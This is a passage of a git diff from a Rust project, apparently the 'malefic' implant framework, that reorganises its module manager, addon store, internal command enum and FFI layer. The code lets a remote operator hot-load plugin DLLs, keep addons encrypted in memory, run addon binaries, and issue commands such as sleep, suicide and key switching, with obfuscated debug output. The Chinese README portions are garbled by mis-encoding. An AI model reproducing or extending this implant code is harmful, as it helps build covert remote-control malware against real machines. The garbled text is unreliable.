å¯ç”¨è¿è¡Œæ—¶çƒ­åŠ è½½å¤–éƒ¨æ¨¡å—(默认å¯ç”¨ï¼‰ | +| `addon` | å¯ç”¨æ’件管ç†åŠŸèƒ½ï¼ˆé»˜è®¤å¯ç”¨ï¼‰ | + +## 核心结构 + +### `MaleficManager` + +管ç†å™¨ä¸»ç»“æž„ä½“ï¼Œç»´æŠ¤æ¨¡å—æ³¨å†Œè¡¨ï¼ˆ`bundles`)ã€å·²åŠ è½½æ¨¡å—实例(`modules`ï¼‰ä»¥åŠæ’件映射(`addons`)。 + +### `InternalModule` + +å†…éƒ¨æ¨¡å—æžšä¸¾ï¼Œå®šä¹‰äº†æ— éœ€å¤–部加载å³å¯ä½¿ç”¨çš„系统级指令: + +| 指令 | 说明 | +|------|------| +| `ping` / `keepalive` | å¿ƒè·³ä¸Žä¿æ´» | +| `init` | åˆå§‹åŒ– | +| `load_module` / `refresh_module` / `list_module` | 模å—热加载ã€åˆ·æ–°ã€åˆ—举 | +| `load_addon` / `list_addon` / `execute_addon` / `refresh_addon` | æ’件加载ã€åˆ—ä¸¾ã€æ‰§è¡Œã€åˆ·æ–° | +| `sleep` / `suicide` | ä¼‘çœ ä¸Žè‡ªæ¯ | +| `cancel_task` / `query_task` / `list_task` | ä»»åŠ¡å–æ¶ˆã€æŸ¥è¯¢ã€åˆ—举 | +| `key_exchange` / `switch` / `clear` | 密钥交æ¢ã€åˆ‡æ¢ã€æ¸…ç† | + +### `AddonMap` + +æ’件存储映射,æ’å…¥æ—¶è‡ªåŠ¨å¯¹å†…å®¹è¿›è¡ŒåŽ‹ç¼©å’ŒåŠ å¯†ï¼Œè¯»å–æ—¶è‡ªåŠ¨è§£å¯†å’Œè§£åŽ‹ï¼Œä¿è¯æ’件内容在内存中的安全性。 + +## 基本用法 + +```rust +use malefic_manager::manager::MaleficManager; + +// 创建管ç†å™¨å¹¶æ˜¾å¼æ³¨å†Œåº”用层æä¾›çš„ bundle +let mut manager = MaleficManager::new(); +manager.register_bundle("origin", my_register_modules); +manager.refresh_module().unwrap(); + +// åˆ—ä¸¾å½“å‰æ‰€æœ‰å¯ç”¨æ¨¡å— +let internal = malefic_manager::internal::InternalModule::all(); +let (all_modules, bundle_map) = manager.list_module(internal); + +// 按åç§°èŽ·å–æ¨¡å— +if let Some(module) = manager.get_module(&"module_name".to_string()) { + // 使用 module ... +} +``` + +## å‚考链接 + +- [strum - Rust 枚举字符串派生](https://crates.io/crates/strum) +- [tokio - Rust 异步è¿è¡Œæ—¶](https://crates.io/crates/tokio) diff --git a/malefic-core/src/manager/addons.rs b/malefic-crates/manager/src/addons.rs similarity index 50% rename from malefic-core/src/manager/addons.rs rename to malefic-crates/manager/src/addons.rs index 2f2a89b..057fd08 100644 --- a/malefic-core/src/manager/addons.rs +++ b/malefic-crates/manager/src/addons.rs @@ -1,7 +1,8 @@ +#![allow(dead_code)] + +use malefic_crypto::compress::{compress, decompress}; +use malefic_crypto::crypto::{new_cryptor, Cryptor}; use std::collections::HashMap; -use malefic_proto::compress::{compress, decompress}; -use crate::config::KEY; -use malefic_proto::crypto::{new_cryptor, Cryptor}; pub struct MaleficAddon { pub(crate) name: String, @@ -10,61 +11,68 @@ pub struct MaleficAddon { pub(crate) content: Vec, } +/// Cryptor for addon at-rest storage — always uses the static compile-time KEY, +/// NOT the runtime transport key. Addon encryption is local memory protection +/// and must not be affected by transport key rotation (switch). +fn make_storage_cryptor() -> Cryptor { + let key = malefic_config::KEY.to_vec(); + let iv: Vec = key.iter().rev().cloned().collect(); + new_cryptor(key, iv) +} + pub struct AddonMap { addons: HashMap>, - cryptor: Cryptor, } impl AddonMap { pub fn new() -> Self { - let iv: Vec = KEY.to_vec().iter().rev().cloned().collect(); - let cryptor = new_cryptor(KEY.clone(), iv); Self { addons: HashMap::new(), - cryptor, } } pub fn clear(&mut self) { self.addons.clear(); } - - pub fn iter(&self) -> std::collections::hash_map::Iter> { + + pub fn iter(&self) -> impl Iterator)> { self.addons.iter() } - - pub(crate) fn insert(&mut self, addon: MaleficAddon) -> anyhow::Result<()> { + + pub(crate) fn insert(&mut self, addon: MaleficAddon) -> anyhow::Result<()> { let compressed = compress(&addon.content)?; - let encrypted = self.cryptor.encrypt(compressed)?; - + let mut cryptor = make_storage_cryptor(); + let encrypted = cryptor.encrypt(compressed)?; + + let name = addon.name; let encrypted_addon = Box::new(MaleficAddon { - name: addon.name.clone(), + name: name.clone(), r#type: addon.r#type, depend: addon.depend, content: encrypted, }); - self.addons.insert(addon.name.clone(), encrypted_addon); + self.addons.insert(name, encrypted_addon); Ok(()) } - + pub(crate) fn get(&mut self, key: &str) -> anyhow::Result> { let encrypted_addon = self .addons .get(key) - .ok_or_else(||"not found key").unwrap(); + .ok_or_else(|| anyhow::anyhow!("addon not found: {}", key))?; + + let mut cryptor = make_storage_cryptor(); + let decrypted_content = cryptor.decrypt(encrypted_addon.content.clone())?; - let decrypted_content = self.cryptor.decrypt(encrypted_addon.content.clone())?; - let decompressed_content = decompress(&decrypted_content)?; - + let decrypted_addon = MaleficAddon { name: encrypted_addon.name.clone(), r#type: encrypted_addon.r#type.clone(), depend: encrypted_addon.depend.clone(), content: decompressed_content, }; - self.cryptor.reset(); - Ok(Box::from(decrypted_addon)) + Ok(Box::new(decrypted_addon)) } } diff --git a/malefic-core/src/manager/internal.rs b/malefic-crates/manager/src/internal.rs similarity index 69% rename from malefic-core/src/manager/internal.rs rename to malefic-crates/manager/src/internal.rs index b00ed5c..112643a 100644 --- a/malefic-core/src/manager/internal.rs +++ b/malefic-crates/manager/src/internal.rs @@ -1,7 +1,7 @@ -use strum_macros::{EnumString, Display}; // ç¡®ä¿æ­£ç¡®å¯¼å…¥ Display å® +use malefic_gateway::ObfDebug; +use strum_macros::{Display, EnumString}; -#[cfg_attr(debug_assertions, derive(Debug))] -#[derive(EnumString, Display)] +#[derive(ObfDebug, EnumString, Display)] pub enum InternalModule { #[strum(serialize = "ping")] Ping, @@ -11,14 +11,22 @@ pub enum InternalModule { RefreshModule, #[strum(serialize = "list_module")] ListModule, + #[cfg(feature = "hot_load")] #[strum(serialize = "load_module")] LoadModule, + #[cfg(feature = "hot_load")] + #[strum(serialize = "unload_module")] + UnloadModule, + #[cfg(feature = "addon")] #[strum(serialize = "load_addon")] LoadAddon, + #[cfg(feature = "addon")] #[strum(serialize = "list_addon")] ListAddon, + #[cfg(feature = "addon")] #[strum(serialize = "execute_addon")] ExecuteAddon, + #[cfg(feature = "addon")] #[strum(serialize = "refresh_addon")] RefreshAddon, #[strum(serialize = "clear")] @@ -37,6 +45,8 @@ pub enum InternalModule { Switch, #[strum(serialize = "key_exchange")] KeyExchange, + #[strum(serialize = "keepalive")] + KeepAlive, } impl InternalModule { @@ -48,9 +58,15 @@ impl InternalModule { InternalModule::ListModule, #[cfg(feature = "hot_load")] InternalModule::LoadModule, + #[cfg(feature = "hot_load")] + InternalModule::UnloadModule, + #[cfg(feature = "addon")] InternalModule::LoadAddon, + #[cfg(feature = "addon")] InternalModule::ListAddon, + #[cfg(feature = "addon")] InternalModule::ExecuteAddon, + #[cfg(feature = "addon")] InternalModule::RefreshAddon, InternalModule::Clear, InternalModule::CancelTask, @@ -60,9 +76,10 @@ impl InternalModule { InternalModule::Suicide, InternalModule::Switch, InternalModule::KeyExchange, + InternalModule::KeepAlive, ] - .iter() - .map(|m| m.to_string()) // Display 自动æä¾› to_string() 方法 - .collect() + .into_iter() + .map(|m| m.to_string()) + .collect() } -} \ No newline at end of file +} diff --git a/malefic-core/src/manager/mod.rs b/malefic-crates/manager/src/lib.rs similarity index 100% rename from malefic-core/src/manager/mod.rs rename to malefic-crates/manager/src/lib.rs index bfc1c31..16ac01b 100644 --- a/malefic-core/src/manager/mod.rs +++ b/malefic-crates/manager/src/lib.rs @@ -1,3 +1,3 @@ +mod addons; pub mod internal; pub mod manager; -mod addons; diff --git a/malefic-crates/manager/src/manager.rs b/malefic-crates/manager/src/manager.rs new file mode 100644 index 0000000..7c9587c --- /dev/null +++ b/malefic-crates/manager/src/manager.rs @@ -0,0 +1,353 @@ +use std::collections::HashMap; +use std::str::FromStr; + +#[cfg(feature = "addon")] +use crate::addons::{AddonMap, MaleficAddon}; +use crate::internal::InternalModule; +use malefic_common::check_body; +use malefic_common::errors::MaleficError; +use malefic_module::prelude::*; +use malefic_proto::new_spite; +use malefic_proto::proto::implantpb::spite::Body; +use malefic_proto::proto::implantpb::{self, Spite}; +use malefic_proto::proto::modulepb; +#[cfg(feature = "addon")] +use malefic_proto::proto::modulepb::Addon; + +/// Legacy module registration function type (same-compiler only, used by built-in modules). +#[allow(improper_ctypes_definitions)] +pub type ModuleRegister = extern "C" fn() -> MaleficBundle; + +pub struct MaleficManager { + /// Built-in module bundles (statically linked, same compiler). + bundles: HashMap, + pub(crate) modules: Box, + /// Plugin DLL loader (owns PE handles for unload). + #[cfg(all(feature = "hot_load", target_os = "windows"))] + plugin_loader: malefic_runtime::host::PluginLoader, + #[cfg(feature = "addon")] + addons: AddonMap, +} + +impl MaleficManager { + pub fn new() -> Self { + MaleficManager { + bundles: HashMap::new(), + modules: Box::new(HashMap::new()), + #[cfg(all(feature = "hot_load", target_os = "windows"))] + plugin_loader: malefic_runtime::host::PluginLoader::new(), + #[cfg(feature = "addon")] + addons: AddonMap::new(), + } + } + + pub fn clean(&mut self) -> Result<(), MaleficError> { + #[cfg(feature = "addon")] + let _ = self.refresh_addon()?; + let _ = self.refresh_module()?; + Ok(()) + } + + /// Register a built-in module bundle (statically linked, same compiler). + pub fn register_bundle( + &mut self, + name: impl Into, + bundle: ModuleRegister, + ) -> Option { + self.bundles.insert(name.into(), bundle) + } + + pub fn unregister_bundle(&mut self, name: &str) -> Option { + self.bundles.remove(name) + } + + pub fn refresh_module(&mut self) -> Result<(), MaleficError> { + self.reload() + } + + #[cfg(feature = "addon")] + pub fn refresh_addon(&mut self) -> Result<(), MaleficError> { + self.addons.clear(); + Ok(()) + } + + pub fn reload(&mut self) -> Result<(), MaleficError> { + self.modules.clear(); + for (_name, bundle) in self.bundles.iter() { + let bundle_modules = bundle(); + debug!("refresh module: {} {:?}", _name, bundle_modules.keys()); + for (module_name, module) in bundle_modules { + self.modules.insert( + module_name.to_string(), + malefic_runtime::host::RtBridge::wrap(module), + ); + } + } + Ok(()) + } + + /// Hot-load a module DLL from a Spite (used by stub/dispatch_internal), + /// with fallback to legacy register_modules. + pub fn load_module(&mut self, spite: Spite) -> Result, MaleficError> { + #[cfg(all(feature = "hot_load", target_os = "windows"))] + { + let module = check_body!(spite, Body::LoadModule)?; + let bin = check_field!(module.bin)?; + return self.load_module_from_bytes(bin); + } + #[cfg(not(all(feature = "hot_load", target_os = "windows")))] + { + let _ = spite; + Ok(Vec::new()) + } + } + + /// Hot-load a module DLL from raw bytes via PluginLoader. + pub fn load_module_from_bytes(&mut self, bin: Vec) -> Result, MaleficError> { + #[cfg(all(feature = "hot_load", target_os = "windows"))] + { + let plugin_name = format!("plugin_{}", self.plugin_loader.loaded_plugins().len()); + let bundle = unsafe { + self.plugin_loader + .load(plugin_name.clone(), bin) + .map_err(|_| MaleficError::ModuleError)? + }; + let mut names = Vec::new(); + for (module_name, module) in bundle { + names.push(module_name.clone()); + self.modules.insert(module_name, module); + } + debug!("[+] loaded plugin '{}': {:?}", plugin_name, names); + Ok(names) + } + #[cfg(not(all(feature = "hot_load", target_os = "windows")))] + { + let _ = bin; + Ok(Vec::new()) + } + } + + /// Unload a previously loaded plugin DLL, removing its modules. + pub fn unload_plugin(&mut self, name: &str) -> Result, MaleficError> { + #[cfg(all(feature = "hot_load", target_os = "windows"))] + { + let removed_names = unsafe { + self.plugin_loader + .unload(name) + .ok_or(MaleficError::ModuleError)? + }; + for module_name in &removed_names { + self.modules.remove(module_name); + } + debug!("[+] unloaded plugin '{}': {:?}", name, removed_names); + Ok(removed_names) + } + #[cfg(not(all(feature = "hot_load", target_os = "windows")))] + { + let _ = name; + Ok(Vec::new()) + } + } + + pub fn list_module(&self, internal: Vec) -> (Vec, HashMap) { + let mut bundle_map = HashMap::new(); + + // built-in bundles + for (bundle_name, bundle_fn) in self.bundles.iter() { + let bundle_modules = bundle_fn(); + for module_name in bundle_modules.keys() { + bundle_map.insert(module_name.clone(), bundle_name.clone()); + } + } + + // hot-loaded plugins + #[cfg(all(feature = "hot_load", target_os = "windows"))] + { + bundle_map.extend(self.plugin_loader.module_plugin_map()); + } + + // internal modules have no bundle + for name in &internal { + bundle_map.insert(name.clone(), "builtin".to_string()); + } + + let modules: Vec = self.modules.keys().cloned().chain(internal).collect(); + (modules, bundle_map) + } + + pub fn get_module(&self, name: &str) -> Option<&Box> { + self.modules.get(name) + } + + #[cfg(feature = "addon")] + pub fn get_addon(&mut self, name: &str) -> anyhow::Result> { + self.addons.get(name) + } + + #[cfg(feature = "addon")] + pub fn list_addon(&self) -> Vec { + self.addons + .iter() + .map(|(name, module)| Addon { + name: name.clone(), + r#type: module.r#type.clone(), + depend: module.depend.clone(), + }) + .collect() + } + + #[cfg(feature = "addon")] + pub fn load_addon(&mut self, spite: Spite) -> Result<(), MaleficError> { + let ext = check_body!(spite, Body::LoadAddon)?; + let addon = MaleficAddon { + name: check_field!(ext.name)?, + r#type: ext.r#type, + depend: check_field!(ext.depend)?, + content: check_field!(ext.bin)?, + }; + self.addons.insert(addon)?; + Ok(()) + } + + #[cfg(feature = "addon")] + pub fn execute_addon(&mut self, spite: Spite) -> Result { + let ext = check_body!(spite, Body::ExecuteAddon)?; + let addon_name = check_field!(ext.addon)?; + let addon = self.get_addon(&addon_name)?; + if self.get_module(&addon.depend).is_none() { + return Err(MaleficError::ModuleNotFound); + } + let mut execute_binary = ext.execute_binary.clone().ok_or(MaleficError::MissBody)?; + execute_binary.bin = addon.content.clone(); + execute_binary.name = addon.name.clone(); + let result = new_spite( + spite.task_id, + addon.depend.clone(), + Body::ExecuteBinary(execute_binary), + ); + Ok(result) + } + + // ── Internal module dispatch ─────────────────────────────────────────── + + /// Try to handle a Spite as an internal module. + /// + /// Returns: + /// - `Ok(Some(spite))` — internal module handled, response ready + /// - `Ok(None)` — not an internal module, caller should dispatch to external module + /// - `Err(BeaconOnly(_))` — beacon-only internal module, caller handles + /// - `Err(other)` — processing error + /// + /// `register_info` is an optional callback that provides sysinfo + name + timer + /// for the `init` command. If None, a minimal Register is returned. + pub fn dispatch_internal( + &mut self, + req: &Spite, + register_info: Option< + &dyn Fn(&MaleficManager) -> (Option, String, Vec), + >, + ) -> Result, MaleficError> { + let name_str = req.name.as_str(); + match InternalModule::from_str(name_str) { + Ok(InternalModule::Ping) => { + let ping = check_body!(req, Body::Ping)?; + Ok(Some(new_spite( + req.task_id, + InternalModule::Ping.to_string(), + Body::Ping(modulepb::Ping { nonce: ping.nonce }), + ))) + } + Ok(InternalModule::Init) => { + let (sysinfo, register_name, addons) = if let Some(info_fn) = register_info { + info_fn(self) + } else { + (None, "reactor".to_string(), Vec::new()) + }; + let (modules, _) = self.list_module(InternalModule::all()); + Ok(Some(new_spite( + req.task_id, + "register".to_string(), + Body::Register(modulepb::Register { + name: register_name, + proxy: String::new(), + module: modules, + addons: addons + .into_iter() + .map(|a| modulepb::Addon { + name: a, + r#type: String::new(), + depend: String::new(), + }) + .collect(), + sysinfo, + timer: None, + secure: None, + }), + ))) + } + Ok(InternalModule::ListModule) => { + let (modules, bundle_map) = self.list_module(InternalModule::all()); + Ok(Some(new_spite( + req.task_id, + InternalModule::ListModule.to_string(), + Body::Modules(modulepb::Modules { + modules, + bundle_map, + }), + ))) + } + Ok(InternalModule::RefreshModule) => { + self.refresh_module()?; + let (modules, bundle_map) = self.list_module(InternalModule::all()); + Ok(Some(new_spite( + req.task_id, + InternalModule::RefreshModule.to_string(), + Body::Modules(modulepb::Modules { + modules, + bundle_map, + }), + ))) + } + #[cfg(all(feature = "hot_load", target_os = "windows"))] + Ok(InternalModule::LoadModule) => { + let modules = self.load_module(req.clone())?; + Ok(Some(new_spite( + req.task_id, + InternalModule::LoadModule.to_string(), + Body::Modules(modulepb::Modules { + modules, + bundle_map: HashMap::new(), + }), + ))) + } + #[cfg(all(feature = "hot_load", target_os = "windows"))] + Ok(InternalModule::UnloadModule) => { + let unload_req = check_body!(req.clone(), Body::Request)?; + let plugin_name = check_field!(unload_req.input)?; + let _removed = self.unload_plugin(&plugin_name)?; + // return full module list after unload + let (modules, bundle_map) = self.list_module(InternalModule::all()); + Ok(Some(new_spite( + req.task_id, + InternalModule::UnloadModule.to_string(), + Body::Modules(modulepb::Modules { + modules, + bundle_map, + }), + ))) + } + Ok(InternalModule::Clear) => { + self.clean()?; + Ok(Some(new_spite( + req.task_id, + InternalModule::Clear.to_string(), + Body::Empty(implantpb::Empty::default()), + ))) + } + // Beacon-only modules — caller handles + Ok(other) => Err(MaleficError::BeaconOnly(other.to_string())), + // Not an internal module — fall through to external + Err(_) => Ok(None), + } + } +} diff --git a/malefic-crates/module/Cargo.toml b/malefic-crates/module/Cargo.toml new file mode 100644 index 0000000..fbdb9e5 --- /dev/null +++ b/malefic-crates/module/Cargo.toml @@ -0,0 +1,19 @@ +[package] +name = "malefic-module" +version = "0.1.0" +edition = "2021" + +[features] +default = [] +ffi = ["prost"] + +[dependencies] +malefic-proto = { workspace = true } +malefic-common = { workspace = true } +malefic-gateway = { workspace = true } +thiserror = { workspace = true } +anyhow = { workspace = true } +async-trait = { workspace = true } +futures = { workspace = true } +futures-channel = { workspace = true } +prost = { workspace = true, optional = true } diff --git a/malefic-crates/module/README.md b/malefic-crates/module/README.md new file mode 100644 index 0000000..45d394e --- /dev/null +++ b/malefic-crates/module/README.md @@ -0,0 +1,92 @@ +# malefic-module + +定义模å—统一 trait 接å£ã€ä»»åŠ¡ç»“æžœå°è£…åŠè¾…助å®ï¼Œä¸ºæ‰€æœ‰åŠŸèƒ½æ¨¡å—æä¾›æ ‡å‡†åŒ–çš„å¼€å‘基础。 + +## 功能简介 + +- 定义 `Module` å’Œ `ModuleImpl` 异步 trait,规范模å—çš„ç”Ÿå‘½å‘¨æœŸä¸Žæ‰§è¡Œå…¥å£ +- æä¾› `TaskResult` 结构体,统一å°è£…任务执行结果ã€çжæ€ç ä¸Žé”™è¯¯ä¿¡æ¯ +- æä¾› `TaskError` 错误枚举,覆盖字段校验ã€ç±»åž‹ä¸åŒ¹é…等常è§é”™è¯¯åœºæ™¯ +- 内置一组辅助å®ï¼ˆ`check_request!`ã€`check_field!` 等),简化模å—å¼€å‘ä¸­çš„å‚æ•°æ ¡éªŒ +- 通过 `prelude` 模å—导出所有常用类型与å®ï¼Œä¸€è¡Œ `use` å³å¯å¼€å§‹å¼€å‘ + +## 核心类型 + +| 类型 | 说明 | +|------|------| +| `Module` | æ¨¡å— trait,定义 `name()`ã€`new()`ã€`new_instance()` | +| `ModuleImpl` | 模å—实现 trait,定义异步 `run()` æ‰§è¡Œå…¥å£ | +| `TaskResult` | ä»»åŠ¡æ‰§è¡Œç»“æžœï¼ŒåŒ…å« `task_id`ã€`body`ã€`status` | +| `TaskError` | 任务错误枚举,æ¯ç§å˜ä½“å¯¹åº”å”¯ä¸€é”™è¯¯ç  | +| `MaleficModule` | `dyn Module + Send + Sync + 'static` 的类型别å | +| `MaleficBundle` | `HashMap>`ï¼Œæ¨¡å—æ³¨å†Œè¡¨ | +| `Input` / `Output` | 基于 `futures-channel` 的异步输入/输出通é“类型 | + +## è¾…åŠ©å® + +| å® | 说明 | +|----|------| +| `check_request!` | ä»Žè¾“å…¥é€šé“æŽ¥æ”¶æ¶ˆæ¯å¹¶åŒ¹é…预期å˜ä½“,失败返回 `NotExpectBody` | +| `check_field!` | 校验字段éžç©ºæˆ–长度是å¦ç¬¦åˆé¢„期 | +| `check_optional!` | 校验 `Option` 字段是å¦ä¸º `Some`,支æŒé•¿åº¦æ£€æŸ¥ | +| `register_module!` | 按 feature gate 将模å—实例注册到 `MaleficBundle` | +| `to_error!` | 将任æ„错误转æ¢ä¸º `anyhow::Error` | +| `debug!` | 仅在 debug 构建时打å°è°ƒè¯•ä¿¡æ¯ | + +## 基本用法 + +实现一个自定义模å—: + +```rust +use malefic_module::prelude::*; +use async_trait::async_trait; + +pub struct MyModule; + +#[async_trait] +impl Module for MyModule { + fn name() -> &'static str { "my_module" } + fn new() -> Self { MyModule } + fn new_instance(&self) -> Box { Box::new(MyModule) } +} + +#[async_trait] +impl ModuleImpl for MyModule { + async fn run( + &mut self, + id: u32, + receiver: &mut Input, + sender: &mut Output, + ) -> ModuleResult { + // ä»Žé€šé“æŽ¥æ”¶è¯·æ±‚å¹¶æ ¡éªŒ + let request = check_request!(receiver, Body::Request)?; + let name = check_field!(request.name)?; + + // 构造返回结果 + Ok(TaskResult::new_with_body(id, Body::Response(Response { + output: format!("hello {}", name), + ..Default::default() + }))) + } +} +``` + +注册模å—到 bundle: + +```rust +use malefic_module::prelude::*; + +let mut bundle: MaleficBundle = HashMap::new(); +register_module!(bundle, "my_module", MyModule); +``` + +## TaskError é”™è¯¯ç  + +| é”™è¯¯ç  | å˜ä½“ | å«ä¹‰ | +|--------|------|------| +| 2 | `OperatorError` | 通用è¿è¡Œæ—¶é”™è¯¯ | +| 3 | `NotExpectBody` | 收到éžé¢„期的消æ¯ç±»åž‹ | +| 4 | `FieldRequired` | 必填字段缺失 | +| 5 | `FieldLengthMismatch` | 字段长度ä¸åŒ¹é… | +| 6 | `FieldInvalid` | 字段值无效 | +| 99 | `NotImpl` | 功能未实现 | diff --git a/malefic-crates/module/src/abi.rs b/malefic-crates/module/src/abi.rs new file mode 100644 index 0000000..129f3c3 --- /dev/null +++ b/malefic-crates/module/src/abi.rs @@ -0,0 +1,116 @@ +//! C ABI type definitions for the malefic module runtime protocol. +//! +//! All types here are `#[repr(C)]` and use only C-compatible primitives. +//! This ensures binary compatibility across Rust versions, targets, and toolchains. + +use core::ffi::c_void; + +/// ABI version. Host checks this before calling any other export. +/// Bump when the protocol changes in an incompatible way. +pub const RT_ABI_VERSION: u32 = 2; + +// ── Buffer ────────────────────────────────────────────────────────────────── + +/// A buffer allocated by one side of the FFI boundary. +/// +/// The allocating side provides a free function (`rt_free` for module-allocated, +/// `RtHostFreeFn` for host-allocated). The other side must NOT free it directly. +#[repr(C)] +#[derive(Debug)] +pub struct RtBuffer { + pub ptr: *mut u8, + pub len: u32, +} + +impl RtBuffer { + pub const fn empty() -> Self { + Self { + ptr: core::ptr::null_mut(), + len: 0, + } + } + + pub fn from_vec(v: Vec) -> Self { + let mut v = v.into_boxed_slice(); + let ptr = v.as_mut_ptr(); + let len = v.len() as u32; + core::mem::forget(v); + Self { ptr, len } + } + + pub unsafe fn as_bytes(&self) -> &[u8] { + if self.ptr.is_null() || self.len == 0 { + &[] + } else { + core::slice::from_raw_parts(self.ptr, self.len as usize) + } + } + + pub fn is_empty(&self) -> bool { + self.ptr.is_null() || self.len == 0 + } +} + +/// Free a buffer created via [`RtBuffer::from_vec`]. +/// +/// # Safety +/// Must only be called on buffers created from `Vec` in the same binary. +pub unsafe fn rt_buffer_from_vec_free(buf: RtBuffer) { + if !buf.ptr.is_null() && buf.len > 0 { + let _ = Vec::from_raw_parts(buf.ptr, buf.len as usize, buf.len as usize); + } +} + +// ── Status ────────────────────────────────────────────────────────────────── + +/// Status code returned by `rt_module_run`. +#[repr(C)] +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum RtStatus { + /// Error occurred. `final_out` contains UTF-8 error message. + Error = 1, + /// Module run completed successfully. `final_out` contains encoded Spite. + Done = 2, +} + +// ── Module Handle ─────────────────────────────────────────────────────────── + +/// Opaque handle to a module instance on the DLL side. +/// +/// Created by `rt_module_create`, destroyed by `rt_module_destroy`. +/// The host must not inspect or dereference this pointer. +#[repr(C)] +pub struct RtModuleHandle { + _opaque: [u8; 0], +} + +// ── Callback Types ────────────────────────────────────────────────────────── + +/// Module → Host: push output data. +/// +/// The host copies `data[0..len]` before returning. The module may free +/// or reuse its buffer after this call returns. +/// +/// Returns: `0` = ok, `-1` = host channel closed (module should exit). +pub type RtSendFn = unsafe extern "C" fn(ctx: *mut c_void, data: *const u8, len: u32) -> i32; + +/// Host → Module: pull input data (blocking). +/// +/// Blocks until the host has data available. On success, `*out_data` and +/// `*out_len` are set to a host-allocated buffer. The module must call +/// `RtHostFreeFn` to release it after reading. +/// +/// Returns: `0` = ok, `-1` = EOF (no more input, module should exit). +pub type RtRecvFn = + unsafe extern "C" fn(ctx: *mut c_void, out_data: *mut *mut u8, out_len: *mut u32) -> i32; + +/// Host → Module: non-blocking receive. +/// +/// Same as `RtRecvFn` but returns immediately if no data is available. +/// +/// Returns: `0` = data available, `-1` = no data (would block), `-2` = EOF. +pub type RtTryRecvFn = + unsafe extern "C" fn(ctx: *mut c_void, out_data: *mut *mut u8, out_len: *mut u32) -> i32; + +/// Free a buffer allocated by the host (returned by `RtRecvFn` / `RtTryRecvFn`). +pub type RtHostFreeFn = unsafe extern "C" fn(ptr: *mut u8, len: u32); diff --git a/malefic-crates/module/src/codec.rs b/malefic-crates/module/src/codec.rs new file mode 100644 index 0000000..754ea2f --- /dev/null +++ b/malefic-crates/module/src/codec.rs @@ -0,0 +1,30 @@ +//! Spite encode/decode helpers for crossing the FFI boundary. + +use malefic_proto::proto::implantpb::spite::Body; +use malefic_proto::proto::implantpb::{Spite, Status}; +use prost::Message; + +/// Encode a `Spite` into protobuf bytes. +pub fn encode_spite(spite: &Spite) -> Vec { + spite.encode_to_vec() +} + +/// Decode a `Spite` from protobuf bytes. +pub fn decode_spite(bytes: &[u8]) -> anyhow::Result { + Spite::decode(bytes).map_err(|e| anyhow::anyhow!("spite decode error: {}", e)) +} + +/// Wrap a `Body` into a `Spite` and encode to protobuf bytes. +pub fn encode_body(task_id: u32, body: Body) -> Vec { + let spite = Spite { + task_id, + body: Some(body), + status: Some(Status { + task_id, + status: 0, + error: String::new(), + }), + ..Default::default() + }; + spite.encode_to_vec() +} diff --git a/malefic-crates/module/src/ffi.rs b/malefic-crates/module/src/ffi.rs new file mode 100644 index 0000000..58d95a8 --- /dev/null +++ b/malefic-crates/module/src/ffi.rs @@ -0,0 +1,176 @@ +//! Shared FFI utilities for malefic 3rd-party language modules. +//! +//! Gated behind the `ffi` feature of `malefic-module`. +//! +//! Provides: +//! - [`FfiBuffer`] — RAII guard for foreign-allocated memory +//! - [`ffi_free`] / [`ffi_module_name`] — C memory helpers +//! - [`encode_request`] / [`decode_response`] — protobuf serialization +//! - [`HandlerFn`] / [`ffi_run_loop`] — streaming bridge for synchronous handlers + +use std::ffi::{c_char, c_int, c_uint, CStr}; + +use crate::{Body, Input, ModuleResult, Output, TaskResult}; +use malefic_proto::proto::modulepb::{Request, Response}; + +// Re-export FFI-relevant types for convenience (`use malefic_module::ffi::*`) +pub use anyhow::anyhow; +pub use async_trait::async_trait; + +// ── libc free ─────────────────────────────────────────────────────────────── + +extern "C" { + fn free(ptr: *mut std::ffi::c_void); +} + +/// Free a pointer allocated by foreign code (C `malloc` / Go `C.CBytes` / etc.). +/// +/// # Safety +/// `ptr` must have been allocated by the C allocator (`malloc`). +pub(crate) unsafe fn ffi_free(ptr: *mut c_char) { + free(ptr as *mut std::ffi::c_void); +} + +// ── FfiBuffer ─────────────────────────────────────────────────────────────── + +/// RAII guard for a buffer allocated by foreign code via `malloc`. +/// +/// On drop, calls `free()` to release the memory. +/// This prevents leaks when decoding fails or an early return occurs. +pub struct FfiBuffer { + ptr: *mut c_char, + len: usize, +} + +impl FfiBuffer { + /// Wrap a foreign-allocated pointer. + /// + /// # Safety + /// `ptr` must be non-null, valid for `len` bytes, and allocated via `malloc`. + pub unsafe fn new(ptr: *mut c_char, len: usize) -> Self { + Self { ptr, len } + } + + /// View the buffer contents as a byte slice. + pub fn as_bytes(&self) -> &[u8] { + unsafe { std::slice::from_raw_parts(self.ptr as *const u8, self.len) } + } +} + +impl Drop for FfiBuffer { + fn drop(&mut self) { + if !self.ptr.is_null() { + unsafe { ffi_free(self.ptr) }; + } + } +} + +// ── Module name retrieval ─────────────────────────────────────────────────── + +/// Retrieve a module name string from an FFI `name_fn`. +/// +/// If `needs_free` is true, the returned C string pointer will be freed after +/// copying (Go-style, where the name is heap-allocated via `C.CString`). +/// If false, the pointer is assumed to be static (C/Zig/Nim-style). +/// +/// # Safety +/// `name_fn` must return a valid, NUL-terminated C string. +pub unsafe fn ffi_module_name( + name_fn: unsafe extern "C" fn() -> *const c_char, + needs_free: bool, +) -> String { + let ptr = name_fn(); + let name = CStr::from_ptr(ptr).to_string_lossy().into_owned(); + if needs_free { + ffi_free(ptr as *mut c_char); + } + name +} + +// ── Protobuf encode / decode ──────────────────────────────────────────────── + +/// Encode a prost `Request` into bytes suitable for passing across FFI. +pub fn encode_request(request: &Request) -> anyhow::Result> { + use prost::Message; + let mut buf = Vec::new(); + request + .encode(&mut buf) + .map_err(|e| anyhow::anyhow!("encode error: {}", e))?; + Ok(buf) +} + +/// Decode a prost `Response` from bytes returned by foreign code. +pub fn decode_response(bytes: &[u8]) -> anyhow::Result { + use prost::Message; + Response::decode(bytes).map_err(|e| anyhow::anyhow!("decode error: {}", e)) +} + +// ── Streaming FFI bridge ──────────────────────────────────────────────────── + +/// Signature shared by all synchronous FFI handlers (C / Zig / Nim). +pub type HandlerFn = + unsafe extern "C" fn(c_uint, *const c_char, c_int, *mut *mut c_char, *mut c_int) -> c_int; + +/// Consume every `Request` from `receiver`, call `handler` for each one, +/// forward intermediate results through `sender`, and return the last result. +/// +/// This gives synchronous FFI handlers (C/Zig/Nim) multi-round streaming +/// capability without any changes to the foreign-language source code. +pub async fn ffi_run_loop( + id: u32, + receiver: &mut Input, + sender: &mut 